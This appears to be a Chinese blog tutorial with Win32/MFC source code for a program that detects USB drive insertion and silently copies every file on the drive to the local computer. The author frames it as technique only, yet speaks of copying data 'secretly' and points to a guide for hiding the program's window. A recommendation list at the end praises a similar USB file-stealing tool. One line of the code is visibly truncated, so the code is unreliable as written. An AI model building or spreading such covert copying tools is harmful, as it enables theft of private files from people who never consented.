html文件导入到u盘中,技术分享 - 编程实现U盘插入自动复制U盘内容到本地
背景
U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。
现在,我就对它进行解析,整理成文档,分享给大家。
实现原理
这个程序的实现,可以分成两个部分:
U盘设备插入的监控,获取U盘盘符
根据U盘盘符,遍历U盘文件,并进行复制操作
首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM_DEVICECHANGE 消息处理函数,并根据 DEV_BROADCAST_VOLUME 结构体的 dbcv_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。
我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。
这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。
编码实现
U盘插入监控// 监控U盘插入并获取U盘盘符
LRESULTCUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam,LPARAM lParam)
{
switch(wParam)
{
// 设备已经插入
caseDBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_HDR lpdb=(PDEV_BROADCAST_HDR)lParam;
// 逻辑卷
if(DBT_DEVTYP_VOLUME==lpdb->dbch_devicetype)
{
// 根据 dbcv_unitmask 计算出设备盘符
PDEV_BROADCAST_VOLUME lpdbv=(PDEV_BROADCAST_VOLUME)lpdb;
DWORD dwDriverMask=lpdbv->dbcv_unitmask;
DWORD dwTemp=1;
charszDriver[4]="A:";
for(szDriver[0]='A';szDriver[0]<='Z';szDriver[0]++)
{
if(0
{
// 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上
SearchFile(szDriver);
}
// 左移1位, 接着判断下一个盘符
dwTemp=(dwTemp<<1);
}
}
break;
}
default:
break;
}
return0;
}
U盘文件遍历及拷贝// 遍历文件并复制
voidSearchFile(char*pszDirectory)
{
// 搜索指定类型文件
DWORD dwBufferSize=2048;
char*pszFileName=NULL;
char*pTempSrc=NULL;
WIN32_FIND_DATAFileData={0};
BOOL bRet=FALSE;
// 申请动态内存
pszFileName=newchar[dwBufferSize];
pTempSrc=newchar[dwBufferSize];
// 构造搜索文件类型字符串, *.*表示搜索所有文件类型
::wsprintf(pszFileName,"%s\\*.*",pszDirectory);
// 搜索第一个文件
HANDLE hFile=::FindFirstFile(pszFileName,&FileData);
if(INVALID_HANDLE_VALUE!=hFile)
{
do
{
// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
if('.'==FileData.cFileName[0])
{
continue;
}
// 拼接文件路径
::wsprintf(pTempSrc,"%s\\%s",pszDirectory,FileData.cFileName);
// 判断是否是目录还是文件
if(FileData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)
{
// 目录, 则继续往下递归遍历文件
SearchFile(pTempSrc);
}
else
{
// 文件, 执行复制操作, 复制到本地上
charszNewFile[MAX_PATH]="C:\\Users\\Desktop\\test\\";
::lstrcat(szNewFile,FileData.cFileName);
::CopyFile(pTempSrc,szNewFile,FALSE);
}
// 搜索下一个文件
}while(::FindNextFile(hFile,&FileData));
}
// 关闭文件句柄
::FindClose(hFile);
// 释放内存
delete[]pTempSrc;
pTempSrc=NULL;
delete[]pszFileName;
pszFileName=NULL;
}
程序测试
我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。
总结
为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。
同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。
参考
html文件导入到u盘中,技术分享 - 编程实现U盘插入自动复制U盘内容到本地相关推荐
- java程序u盘照片自动复制粘贴_U盘自动复制文件
1.建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样. 2.把下面的代码复制进去 set fso=createobject("scripting.filesyst ...
- u盘文件看得见却打不开_U盘插入电脑能看到盘符但打不开怎么办
U盘使用率已经非常高了,可以说各行各业都离不开U盘.有时候U盘插到win7系统电脑上会出现各种棘手问题,这不一位用户说U盘插入电脑明明能看到盘符,但怎么也打不开,是哪里出现问题?有什么办法可以修复?想 ...
- power bi导入文件夹_从Power BI Desktop中的PDF文件导入数据
power bi导入文件夹 Power BI Desktop is a useful reporting and analytical tool to represent data in variou ...
- AAAI 2021 | 幻灯片中文字的重要性预测赛亚军DeepBlueAI团队技术分享
©PaperWeekly 原创 · 作者|罗志鹏 单位|深兰北京AI研发中心 2 月 2-9 日,AAAI 2021 于线上隆重召开.AAAI(美国人工智能协会)作为人工智能领域的主要学术组织之一,其 ...
- php上传查询excel到mysql_PHP上传Excel文件导入数据到MySQL数据库示例
PHP上传Excel文件导入数据到MySQL数据库示例2020-06-20 00:34:11 最近在做Excel文件导入数据到数据库.网站如果想支持批量插入数据,可以制作一个上传Excel文件,导入里 ...
- php 上传excel到mysql_PHP上传Excel文件导入数据到MySQL数据库示例
最近在做Excel文件导入数据到数据库.网站如果想支持批量插入数据,可以制作一个上传Excel文件,导入里面的数据内容到MySQL数据库的小程序. 要用到的工具: ThinkPHP:轻量级国产PHP开 ...
- php把excel导入mysql数据库中_PHP将Excel文件导入到MySQL数据库
这篇文章主要介绍了PHP上传Excel文件导入数据到MySQL数据库示例,可以将Excel的数据写入到MySQL数据库中,感兴趣的同学可以了解一下. 最近在做Excel文件导入数据到数据库.网站如果想 ...
- USBCopyer 插上优盘自动复制文件 v3.5
USBCopyer: 插上U盘自动复制U盘文件 U盘文件偷取神器,只要插上就能够自动的复制文件. 这个软件用途还是偷取文件,无论是复制老师的课件或者资料,还是获取插到某台公用电脑上的U盘的数据,都是可 ...
- 云溪怎么导入dxf_dwg怎么转换成dxf文件?超详细图文教程分享
在CAD相关的工作中,我们经常遇到这种问题,需要把DWG格式的CAD图纸转换成DXF格式.那么,我们应该怎么做呢?接下来为你介绍这一个方法,非常方便快速哦. 准备 电脑 风云CAD转换器 具体步骤: ...
最新文章
- matlab单元数组与结构体的区别,MATLAB中的结构体和单元数组
- StaticFactoryMethod_Level3
- delphi char与string比较
- 团队作业10——复审与事后分析(Beta版本)
- Maven 修改默认端口启动web项目
- Delphi面向对象学习随笔七:COM
- textlayout Java_Java TextLayout.getBounds方法代码示例
- 【设计模式】第六章 观察者模式
- 玩转SecureCRT 安装
- 中文科技核心期刊目录 计算机,中国科技核心期刊目录(2019版)”(“中国科技论文统计源期刊”)...
- win10禁止易升最有效的办法
- JavaWeb中的表单提交和超链接请求传递参数
- 12,verilog移位操作
- Java综合项目----开发团队分配管理软件
- 守护安全|AIRIOT城市天然气综合管理解决方案
- 春赏百花秋望月,夏沐凉风冬听雪
- 通关《Diablo2》12遍纪念
- Electron Fiddle 通过代理加速下载(Mac)
- 施巍松老师组20-21年工作
- Sass(Scss)学习
热门文章
- Qt+Mingw环境(32位+64位)
- 生死看淡,不服就GAN(四)---- 用全连层GAN生成MNIST手写体
- java jmf实现本地视频播放_Java的JMF实现视频播放器
- 心脏线绘制python_心脏线怎么画?
- 大据数技术之高频面试题8.0.9
- Python爬取古诗词
- matlab 山脊 提取,ArcGIS中利用水文分析提取山脊线山谷线
- Excel PivotTable 使用心得手顺分享(四)
- 有些话很轻、很淡、很疼!+ 有些话,经典的让人想流泪
- 零售门店营业额预测分析(时间序列建模)